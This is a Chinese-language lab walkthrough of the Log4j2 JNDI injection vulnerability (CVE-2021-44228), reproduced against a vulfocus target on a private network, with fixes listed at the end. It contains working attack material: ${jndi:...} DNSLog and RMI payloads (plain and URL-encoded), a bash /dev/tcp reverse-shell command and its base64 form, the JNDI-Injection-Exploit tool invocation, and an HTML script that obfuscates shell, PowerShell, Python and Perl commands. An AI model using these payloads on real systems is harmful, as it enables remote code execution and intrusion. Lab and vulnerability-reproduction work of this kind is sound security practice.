log4j2漏洞原理分析及復現-CVE-2021-44228 (vulfocus靶場)
STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的
前言
漏洞介紹
Apache Log4j2是一個Java的日志組件,在特定的版本中由于其啟用了lookup功能,從而導致產生遠程代碼執行漏洞。
概念
log4j(log for java),Apache的開源日志記錄組件,使用非常廣泛
什么是LDAP?
輕型目錄訪問協議(Lightweight Directory Access Protocol,是一個開放的,中立的,工業標準的應用協議,通過IP協議提供訪問控制和維護分布式信息的目錄信息。
目錄結構的優點:
假如有個一個數據庫,名叫職業,該數據庫有許多表如學生、老師、工程師...,表的字段也有許多,如姓名、性別、年齡...

假如有100條數據,其中包含工程師、學生、老師的信息。
(1)不使用目錄結構存儲:所有人的職業信息都存在一張表中,順序雜亂無章,想要查詢信息就需要從第一條開始遍歷。如果數據在最后一條,需要查詢100次。
(2)使用目錄結構:那么100條數據就分布在三個表中,只需要查詢其中的一個表就可得到結果,查詢效率就高了
什么是JNDI?
JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的訪問提供者接口JNDI服務供應接口(SPI)的實現,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互。
通俗點講,就是通過名字去尋找對應的資源、位置、服務、對象......當數據源發生變化時,只需要修改數據源就可以了。
下面用例子來解釋下它的原理以及優點
在數據庫的操作中,傳統的連接方式肯定是除了提供數據源的信息(如數據庫類型、端口、用戶名、密碼)外,還需要導入對應的包和類名,才能調用相應的數據庫驅動進行連接。比如JDBC,如果數據庫從mysql變成了mssql是不是就需要對以上信息修改,如果僅僅是改動配置文件的數據庫信息還好說,但是,那些進行了數據庫操作的java文件,肯定也需要重新導入相應的驅動和類,在大項目中就顯得非常的麻煩了。那有沒有一種方法,只需要更改配置文件的數據源就可以了呢?
所以,JNDI提供這樣的服務,在配置數據源時,對數據源進行命名,當需要進行數據庫操作時,只需要提供數據源的名稱即可。如果數據庫的配置發生變化時,開發人員只需要改變數據源的信息,其他的都交給JNDI去管,我們只要保證數據源的命名不變就可以了。
如果要說JNDI具體的作用是什么,我認為就相當于一個管理部門,而它的職責是對目標資源進行統一調配和管理,當訪問者需要調配資源時,只需要提供資源的名字,剩下的都交給JNDI去實現即可。
比如:有這樣一個場景,當向銀行申請貸款時,銀行需要對貸款人的信息進行評估(如貸款人的職業、月收入,信用怎么樣,是不是老賴,有沒有過借錢不還的案例),從而決定是否同意貸款。如果這些信息都需要銀行去收集并驗證真實性,就會非常的麻煩,甚至還有可能收集的情況不真實。那么,能不能有這樣一個部門,只要銀行向該部門提供貸款人的姓名和身份證號就可以得到貸款人的信用結果呢?而這個部門就扮演著JNDI的角色。
而秘書,也扮演著JNDI的角色,老板需要什么資料、找哪個員工,只要提供名字就行,剩下的秘書去解決就行了。
JNDI實現原理
JNDI通過lookup()方法解析接收自應用程序的信息,從而去對應的服務(如LDAP、RMI、DNS、文件系統、目錄服務...)查找資源。
格式 ${jndi:rmi:192.168.96.1:1099/wqiyua}

log4j2漏洞原理
${jndi:ldap:192.168.96.1:1099/shell}http://192.168.96.1/#shell
其中wqiyua為惡意腳本
當用戶輸入信息時,應用程序中的log4j2組件會將信息記錄到日志中
假如日志中含有該語句${jndi:ldap:192.168.96.1:1099/shell},log4j就會去解析該信息,通過jndi的lookup()方法去解析該URL:ldap:192.168.96.1:1099/shell
解析到ldap,就會去192.168.96.1:1099的ldap服務找名為shell的資源,如果找不到就會去http服務中找
在http中找到shell之后,就會將資源信息返回給應用程序的log4j組件,而log4j組件就會下載下來,然后發現shell是一個.class文件,就會去執行里面的代碼,從而實現注入
攻擊者就可以通過shell實現任意的命令執行,造成嚴重危害
影響版本:Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)
漏洞編號:CVE-2021-44228
環境準備
測試環境 IP
Kali 192.168.1.183
靶機 192.168.1.15
靶場搭建
使用docker搭建vulfocus的漏洞靶場

瀏覽器訪問http://192.168.1.15:48974,部署成功:

DNSLog驗證

通過DNSLog平臺獲取到域名samr5b.dnslog.cn,構造payload:${jndi:ldap://sgivyf.dnslog.cn},瀏覽器點擊?????并使用Burpsuite進行抓包并替換payload參數,此時若直接發包會導致服務器400錯誤:

通過Burpsuite自帶的編碼工具對其進行URL編碼:

編碼后再次發送請求包:

在DNSLog網站成功接收到解析記錄:

JNDI注入反彈shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar進行
漏洞利用:
下載地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用方式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反彈shell指令:
bash -i >& /dev/tcp/ip/port 0>&1
此處kali的ip為192.168.1.181,port可使用任意未被占用的端口,此處指定為1234:
bash -i >& /dev/tcp/192.168.1.181/1234 0>&1
由于Runtime執行linux命令時管道符不生效,所以需要將命令進行加密將此條命令進行Java Runtime Bash 編碼:
使用下面的html腳本生成即可
<html><head><title>java runtime exec usage...title>head><body><p>Input type:<input type="radio"id="bash" name="option" value="bash"onclick="processInput();" checked=""><labelfor="bash">Bashlabel><input type="radio"id="powershell" name="option" value="powershell"onclick="processInput();"><labelfor="powershell">PowerShelllabel><input type="radio"id="python" name="option" value="python"onclick="processInput();"><labelfor="python">Pythonlabel><input type="radio"id="perl" name="option" value="perl"onclick="processInput();"><labelfor="perl">Perllabel>p> <p><textarea rows="10" style="width: 100%;box-sizing: border-box;" id="input" placeholder="Type Bashhere...">textarea><textarea rows="5"style="width: 100%; box-sizing: border-box;" id="output"onclick="this.focus(); this.select();"readonly="">textarea>p><script> vartaInput = document.querySelector('textarea#input'); vartaOutput = document.querySelector('textarea#output'); function processInput() {var option =document.querySelector('input[name="option"]:checked').value; switch (option) { case 'bash':taInput.placeholder = 'Type Bash here...'taOutput.value = 'bash -c {echo,' + btoa(taInput.value) +'}|{base64,-d}|{bash,-i}';break;case 'powershell':taInput.placeholder = 'Type PowerShell here...' poshInput = ''for (var i = 0; i < taInput.value.length; i++) { poshInput +=taInput.value[i] + unescape("%00"); }taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc' + btoa(poshInput);break;case 'python':taInput.placeholder = 'Type Python here...'taOutput.value = "python -c exec('" + btoa(taInput.value) +"'.decode('base64'))";break;case 'perl':taInput.placeholder = 'Type Perl here...'taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('"+ btoa(taInput.value) + "'))";break;default:taOutput.value = '' } if (!taInput.value) taOutput.value = ''; } taInput.addEventListener('input', processInput, false);script>body>html>

編碼后的命令通過-C參數輸入JNDI工具,通過通過-A參數指定kali的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTgxLzEyMzQgMD4mMSA=}|{base64,-d}|{bash,-i}" -A 192.168.1.181

在新的窗口監聽1234端口:

替換工具生成的payload:
rmi://192.168.1.181:1099/a5ktrj 到Burpsuite:
${jndi:rmi://192.168.1.181:1099/a5ktrj}
編碼后發送到靶機:
%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%38%31%3a%31%30%39%39%2f%61%35%6b%74%72%6a%7d

再看kali

kali的監聽窗口成功接收到反彈的shell:

成功反彈!
分析原理:
日志中包含 ${},lookup就會去解析括號里面的內容,
如:攻擊payload :
${jndi:rmi:192.168.96.1:1099/wqiyua}
當lookup解析到jndi時,就會調用jndi并利用rmi,執行攻擊機jndi服務下的class文件并執行,從而造成任意命令執行漏洞
修復與防御
禁止用戶輸入的參數中出現攻擊關鍵字(過濾用戶輸入)
禁止lookup下載遠程文件(命名應用)
禁止log4j的應用去連接外網
禁止log4j使用lookup方法
從log4j 的jar包總刪除lookup(2.10以下版本)
升級到最新版本
使用waf
